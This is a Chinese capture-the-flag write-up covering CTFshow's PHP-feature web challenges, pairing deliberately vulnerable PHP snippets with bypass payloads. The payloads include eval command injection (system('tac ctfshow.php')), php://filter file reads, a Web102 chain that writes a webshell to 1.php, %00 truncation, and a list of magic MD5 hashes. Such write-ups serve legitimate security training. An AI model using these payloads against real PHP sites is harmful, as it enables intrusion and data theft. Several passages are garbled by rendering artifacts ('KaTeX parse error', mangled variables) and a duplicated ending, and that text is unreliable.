CTFshow-php特性(Web89-115)
Web89(intval)
php
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
preg_match当检测的变量是数组的时候会报错并返回0。而intval函数当传入的变量也是数组的时候,会返回1
这里有个intval函数:获取变量的整数值。 intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1。 得出pyload:?num[]=1
?num[]=a
Web90(intval)
php
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}
?num=4476a
?num=4476e1
intval( v a r , var, var,base),其中var必填,base可选,这里base=0,则表示根据var开始的数字决定使用的进制: 0x或0X开头使用十六进制,0开头使用八进制,否则使用十进制。 这里===表示类型和数值必须相等,我们可以使用4476的八进制或十六进制绕过检测。 paylod:num=010574或num=0x117c
Web91(正则匹配多行)
php
<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}
Notice: Undefined index: cmd in /var/www/html/index.php on line 15
nonononono
^表示表达式开头,$表示表达式结尾,i表示不区分大小写,m表示多行模式
?cmd=php%0aabc和?cmd=php%0aphp和abc%0aphp等都行
php
:要求字符串的内容是严格等于 "php" (不区分大小写,因为有 i
标志)。所以php%0aphp也行
这里还要说一下,URL的换行符是%0a,\n不起换行作用,因为URL编码中斜杠并不是转义字符,\n只是普通的字符串而已。
Web92(intval)
php
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
?num=4476e1
?num=0x117c
?num=010574
?num=4476.1
输入
num=4476e1
,PHP 不会将4476e1
当作一个纯数字字符串,而是一个科学计数法的字符串。(可以理解为有小数点?)
Web93(intval)
php
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
?num=010574
?num=4476.1
Web94(intval)
php
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?num=4476.01
?num=+010574
Web95(intval)
php
<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?num=+010574
?num=%2b010574
?num=%20010574
?num=%09010574
Web96(按路径读取文件)
php
<?php
highlight_file(__FILE__);
if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}
}
- ?u=php://filter/read=convert.base64-encode/resource=flag.php
- ?u=/var/www/html/flag.php
- ?u=./flag.php
Web97(md5)
php
<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
总结ctf中 MD5 绕过的一些思路_ctf md5-CSDN博客
a[]=0&b[]=1
Web98(引用赋值)
php
Notice: Undefined index: flag in /var/www/html/index.php on line 15
Notice: Undefined index: flag in /var/www/html/index.php on line 16
Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
?>
就是说有get传参的话,就将post和get共享一个区域,
如果 $_GET
存在,则将 $_GET
变量引用赋值 为 $_POST
。这意味着之后的 $_GET
和 $_POST
共享存储区域 ,即对 $_POST
进行的修改也会反映在 $_GET
上。
可以先不考虑没有get的情况,因为更复杂,如果传了get且不是flag的话,我们再往post传HTTP_FLAG=flag就能出答案了
方法二:cookie增加HTTP_FLAG=flag 通过 URL 传递 任意值如url/?1 在 POST 请求中传递 flag=flag
Web99(in_array)
php
<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) {
array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}
?>
从36循环到877,生成一个841长度的数组,里面存放1-i的随机数,下面进行判断,如果参数存在于allow数组中可以进行写入,我们可以把content的一句话木马,写入get[N]中,
in_array这个函数的漏洞点就是如果第三个参数没有被设置或者设置为false时,采用的就是弱类型比较。
比如输入5.php,它只会判读5在不在allow里
5.php flag36d.php index.php
Web100(逻辑运算符优先级)
php
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
v1v2v3都必须是数字,v2不能有分号,v3一定得有分号
上面分析错了,逻辑运算符的优先级:"&&" > "||" > "=" > "and",等号的优先级高于and,所以v0只跟v1有关系,v2和v3是干扰。
- ?v1=1&v2=system('tac ctfshow.php')%0a&v3=;(?v1=1&v2=system('tac ctfshow.php')&v3=;,s%0a没有也行,换成>%09也行)
- ?v1=1&v2=system("tac ctfshow.php")/&v3=/;
- ?v1=1&v2=print_r($ctfshow)/&v3=/;
flag_is_a91ee3500x2d86e60x2d46110x2d90920x2d110dd84c7889
要去掉前面的flagis然后加上ctfshow{}把0x2d改成-
Web101(反射API)
php
<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>
涉及到类,可以考虑使用 ReflectionClass 建立反射类。
new ReflectionClass($class) 可以获得类的反射对象(包含元数据信息)。
元数据对象(包含class的所有属性/方法的元数据信息)。
payload:v1=1&v2=echo new ReflectionClass&v3=;
flag中有些字符经过ACSII码变换,好像还少了一位,爆破即可
Web102(回调函数)
php
<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
file_put_contents($v3,$str);
}
else{
die('hacker');
}
?>
call_user_func第一个参数 callback
是被调用的回调函数,其余参数是回调函数的参数。
php5下is_numeric可识别16进制,如0x2e,然后调用hex2bin转成字符串写入木马,但题目环境没配好,是php7,所以要另换方法。
v2=115044383949474167494352665230565557324664594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST:v1=hex2bin
php?a=ls
Web103(回调函数)
解法同上题
Web104(Hash函数)
php
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}
?>
- ?v2[]=2 v1[]=1
- ?v2=1 v1=1
Web105(变量覆盖)
php
<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
if($key==='error'){
die("what are you doing?!");
}
$$key=$$value;
}foreach($_POST as $key => $value){
if($value==='flag'){
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){
die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>
这里涉及到两个美元符$$,这种变量叫可变变量,最直观的理解:
输出结果是world,$ a 就相当于是 a就相当于是 a就相当于是( a ) = a)= a)=(hello)=$hello=world。
我们可以发现要想输出最终的flag变量,要满足两个foreach和一个if,先看一下这个if,它要求post的flag值与已知flag变量相等,这显然是无法做到的,我们无法直接post flag = xxxx,因为一旦flag值被传入,第二个foreach就会执行 k e y = key= key=value,使得$flag发生改变,这样flag就输不出来了。
所以最终的解决办法是触发if条件,修改(覆盖)error,也就是将error修改为flag。
也就是:
php
if(!($_POST['flag']==$flag)){
die($flag);
}
怎么做到这样?通过覆盖, ( ( (key) = $ v a l u e 通过这里去修改,我们可以输入 e r r o r = f l a g , value通过这里去修改,我们可以输入error=flag, value通过这里去修改,我们可以输入error=flag,(error) = f l a g , f l a g 就给了 e r r o r , ( 这里的 flag ,flag就给了error,(这里的 flag,flag就给了error,(这里的flag早就存在在环境中),
但注意我们无法直接传入error=flag,(value不能为flag)因为get和post都限制了值,那么我们可以考虑使用$suces:
源代码中先做get的覆盖,再做post的覆盖,那么我们先在get中把flag给中间变量, ( ( (key)=(suces) = ( ( (value)=flag
再在post中把suces给error,$(error) = $(suces) = f l a g ,这时在 i f 中我们不提交 f l a g 那么 ( flag,这时在if中我们不提交flag那么( flag,这时在if中我们不提交flag那么(_POST['flag'] x x x ) 肯定不成立 , ! ( xxx)肯定不成立,!( xxx)肯定不成立,!(_POST['flag'] f l a g ) 肯定成立,则会输出 d i e ( flag)肯定成立,则会输出die( flag)肯定成立,则会输出die(flag);
GET:?suces=flag
POST:error=suces
Web106(Hash函数)
php
<?php
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}
?>
- ?v2[]=2 v1[]=1
- ?v2=aaO8zKZF
v1=aaK1STfY
Web107(MD5)
php
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}
}
?>
parse_str函数是PHP中用于解析查询字符串并将其转换为变量的函数。当你有一个URL查询字符串,并希望将其分解为多个变量时,这个函数非常有用。
php
<?php
$str = "name=Peter&age=43";
parse_str($str, $output);
echo $output['name']; // 输出: Peter
echo $output['age']; // 输出: 43
?>
- ?v3=1 post:v1=flag=c4ca4238a0b923820dcc509a6f75849b
- ?v3=QNKCDZO v1=flag=0
MD5碰撞
?a=0e215962017
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
s1502113478a
0e861580163291561247404381396064
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s155964671a
0e342768416822451524974117254469
s1184209335a
0e072485820392773389523109082030
s1665632922a
0e731198061491163073197128363787
s1502113478a
0e861580163291561247404381396064
s1836677006a
0e481036490867661113260034900752
s1091221200a
0e940624217856561557816327384675
s155964671a
0e342768416822451524974117254469
s1502113478a
0e861580163291561247404381396064
s155964671a
0e342768416822451524974117254469
s1665632922a
0e731198061491163073197128363787
s155964671a
0e342768416822451524974117254469
s1091221200a
0e940624217856561557816327384675
s1836677006a
0e481036490867661113260034900752
s1885207154a
0e509367213418206700842008763514
s532378020a
0e220463095855511507588041205815
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s214587387a
0e848240448830537924465865611904
s1502113478a
0e861580163291561247404381396064
s1091221200a
0e940624217856561557816327384675
s1665632922a
0e731198061491163073197128363787
s1885207154a
0e509367213418206700842008763514
s1836677006a
0e481036490867661113260034900752
s1665632922a
0e731198061491163073197128363787
s878926199a
0e545993274517709034328855841020
Web108(erge)
php
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');
}
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}
?>
error
ereg()
函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true
,否则返回false
。搜索对于字母字符是区分大小写的。
ereg正则匹配,需要字母开头或结尾,但存在%00截断漏洞,
?c=a%00778
这里有个注意点:
strrev()
不会识别 %00,它只会对字符串反转 strrev('a%00778') = strrev("a\0" . "778") = "877\0a"
Web109(内置类 _toString)
php
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
eval("echo new $v1($v2());");
}
}
?>
能直接echo类,说明这个类一定有_toString方法,找到符合条件的异常类Exception以及反射类ReflectionClass。
使用php自带的内置方法
在php官方文档找到带有::__toString的后缀,这种是类
我把带__toString的函数罗列一些出来
CachingIterator::__toString()
DirectoryIterator::__toString
Error::__toString
Exception::__toString
pyload:
?v1= CachingIterator&v2=system('ls')
?v1= DirectoryIterator&v2=system('ls')
?v1= Error&v2=system('ls')
?v1= Exception&v2=system('ls')
?v1=ReflectionClass&v2=system('ls')
?v1=class{ public function __construct(){ system('ls'); } };&v2=a
Web110 (FilesystemIterator)
php
<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
die("error v1");
}
if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
die("error v2");
}
eval("echo new $v1($v2());");
}
?>
还是这样的过滤,这回用FilesystemIterator类,析构方法的参数是目录,我们用getcwd方法获取当前目录传入FilesystemIterator遍历当前目录下文件。
除此之外可以用DirectoryIterator遍历目录。发现目录下有个fl36dga.txt文件,事实上我们可以直接访问这个文件,不需要千方百计去读取它的内容。
/?v1=FilesystemIterator&v2=getcwd
然后访问/fl36dga.txt路径
Web111(超全局变量)
php
<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
function getFlag(&$v1,&$v2){
eval("$$v1 = &$$v2;");
var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
$v1 = $_GET['v1'];
$v2 = $_GET['v2'];
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
die("error v1");
}
if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
die("error v2");
}
if(preg_match('/ctfshow/', $v1)){
getFlag($v1,$v2);
}
?>
看着getFlag就像是个赋值并输出,v1要有ctfshow,那就传一个ctfshow,主要是输出v2的值,题目中也没有任何明显提示,就只能GLOBALS把所有全局变量全输出来,正好var_dump是可以输出数组的。
-
我们最终要得到 f l a g 的值,就需要 v a r d u m p ( flag 的值,就需要 var_dump( flag的值,就需要vardump($v1) 中的 $v1 为 flag,即 v2 要为 flag,这样 KaTeX parse error: Can't use function '' in math mode at position 7: v2 就为 $̲flag,&v2 就为 $flag 对应的值
-
URL 传参时 $v2 不能直接传为 flag,否则 $flag 会因"函数内部无法调用外部变量"的限制而导致其返回 null,getFlag无法访问include
-
要想跨过词法作用域的限制,我们可以用 GLOBALS 常量数组,其中包含了 $flag 键值对,就可以将 $flag 的值赋给 $$v1
?v1=ctfshow&v2=GLOBALS
Web112(过滤器)
php
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
die("hacker!");
}else{
return $file;
}
}
$file=$_GET['file'];
if(!is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
- php://filter/resource=flag.php
- php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=flag.php
- php://filter/read=convert.quoted-printable-encode/resource=flag.php
- compress.zlib://flag.php
Web113(zlib)
php伪协议实现命令执行,任意文件读取_ctf php文件读取-CSDN博客
php
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
}
compress.zlib://flag.php
Web114(过滤器)
php
<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
die('hacker!');
}else{
return $file;
}
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
highlight_file(filter($file));
}else{
echo "hacker!";
} 师傅们居然tql都是非预期 哼!
- php://filter/resource=flag.php
- php://filter/zlib.deflate|zlib.inflate/resource=flag.php
Web115(fuzz)
php
<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
$num=str_replace("0x","1",$num);
$num=str_replace("0","1",$num);
$num=str_replace(".","1",$num);
$num=str_replace("e","1",$num);
$num=str_replace("+","1",$num);
return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
if($num=='36'){
echo $flag;
}else{
echo "hacker!!";
}
}else{
echo "hacker!!!";
} hacker!!!
【payload:num=%0c36】
- trim()函数会去掉num里的%0a %0b %0d %20 %09 这里只有%0c可用。
- num!36是对的,原因:强比较状态下是比较两个字符串,等于是'%0c36'和'36'比是不是相等,肯定不相等。
- num36是对的。原因:弱比较状态下会把传入的num进行类似于【intval()】的一个转化【这里不一定是intval转化】最后比较的实际上是'36'=='36'。肯定相等。
- 函数is_numeric():检测是不是数字/数字字符串。这里的%0c是换页符,%09,%20都可以让is_numeric()函数为true;
fuzz:
Web123([和server)
php
<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
eval("$c".";");
if($fl0g==="flag_give_me"){
echo $flag;
}
}
}
?>
由于在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
- POST : CTF_SHOW=&CTF[SHOW.COM=1&fun= echo $flag
- get:?KaTeX parse error: Expected 'EOF', got '&' at position 34: ... post:CTF_SHOW=&̲CTF[SHOW.COM=&f...a[0])
在 PHP 中,$_SERVER['argv'] 用于获取脚本的命令行参数,通常,这是在命令行模式下运行 PHP 脚本时使用的,而不是在网页模式下使用。
当在命令行模式下运行 PHP 脚本时,例如: php script.php arg1 arg2
那么 $_SERVER['argv'] 将包含以下内容:
$_SERVER['argv'][1] = 'arg1'; // 第一个参数
$_SERVER['argv'][2] = 'arg2'; // 第二个参数
$_SERVER['argv'][0] = 'script.php'; // 脚本名
在网页模式下(通过浏览器访问 PHP 脚本),$_SERVER['argv'] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到 $_SERVER['argv'] 中。
这里的查询字符串没有包含 fl0g,但包含了 $fl0g。由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。
post 传入 CTF_SHOW 和 CTF_SHOW.COM 确保 isset(KaTeX parse error: Expected 'EOF', got '&' at position 20: ...T['CTF_SHOW']) &̲& isset(_POST['CTF_SHOW.COM']) 这部分条件为真,fun=eval( a [ 0 ] ) 将 e v a l ( a[0]) 将 eval( a[0])将eval(a[0]) 的代码传递给 $c。
准确来说,此时的 $_SERVER['argv'][0] 就等于 $_SERVER['QUERY_STRING'],$_SERVER["QUERY_STRING"] 就是查询 (query) 的字符串,这是由于 php.ini 开启了register_argc_argv 配置项。
当访问 ?$fl0g=flag_give_me; 时,服务器配置使得查询字符串被传递到 $_SERVER['argv'] 中。
在这种配置下,$_SERVER['argv'][0] 包含了整个查询字符串,即 '$fl0g=flag_give_me;'。
在 eval(" c ; " ) ; 中实际执行的是 e v a l ( ′ e v a l ( c;"); 中实际执行的是 eval('eval( c;");中实际执行的是eval(′eval(a[0]);');,因为 a [ 0 ] 是 ′ a[0] 是 ' a[0]是′fl0g=flag_give_me;',这相当于执行了 eval('$fl0g=flag_give_me;');,这样就定义了变量 $fl0g 并赋值为 'flag_give_me'。
最后 判断 if($fl0g === "flag_give_me"),因为 $fl0g 被正确地设置为了 'flag_give_me',所以这个条件为真,因此,echo $flag; 被执行,输出 $flag。
器访问 PHP 脚本),$_SERVER['argv'] 通常不包含有用的信息,因为网页请求没有命令行参数。然而,有时服务器配置会将查询字符串或其他信息填充到 $_SERVER['argv'] 中。
这里的查询字符串没有包含 fl0g,但包含了 $fl0g。由于 PHP 中的变量名不包括 $ 符号,所以 isset($_GET['fl0g']) 仍然会返回 false,即没有检测到 fl0g 参数。
post 传入 CTF_SHOW 和 CTF_SHOW.COM 确保 isset($_POST['CTF_SHOW']) && isset($_POST['CTF_SHOW.COM']) 这部分条件为真,fun=eval($a[0]) 将 eval($a[0]) 的代码传递给 $c。
准确来说,此时的 $_SERVER['argv'][0] 就等于 S E R V E R [ ' Q U E R Y S T R I N G ' ] , _SERVER['QUERY_STRING'], SERVER['QUERYSTRING'],_SERVER["QUERY_STRING"] 就是查询 (query) 的字符串,这是由于 php.ini 开启了register_argc_argv 配置项。
当访问 ?fl0g=flag_give_me; 时,服务器配置使得查询字符串被传递到 S E R V E R \[ ′ a r g v ′ \] 中。在这种配置下, _SERVER\['argv'\] 中。 在这种配置下, SERVER\[′argv′\]中。在这种配置下,_SERVER\['argv'\]\[0\] 包含了整个查询字符串,即 'fl0g=flag_give_me;'。
在 eval("$c;"); 中实际执行的是 eval('eval($a[0]);');,因为 $a[0] 是 '$fl0g=flag_give_me;',这相当于执行了 eval('$fl0g=flag_give_me;');,这样就定义了变量 $fl0g 并赋值为 'flag_give_me'。
最后 判断 if($fl0g === "flag_give_me"),因为 $fl0g 被正确地设置为了 'flag_give_me',所以这个条件为真,因此,echo $flag; 被执行,输出 $flag。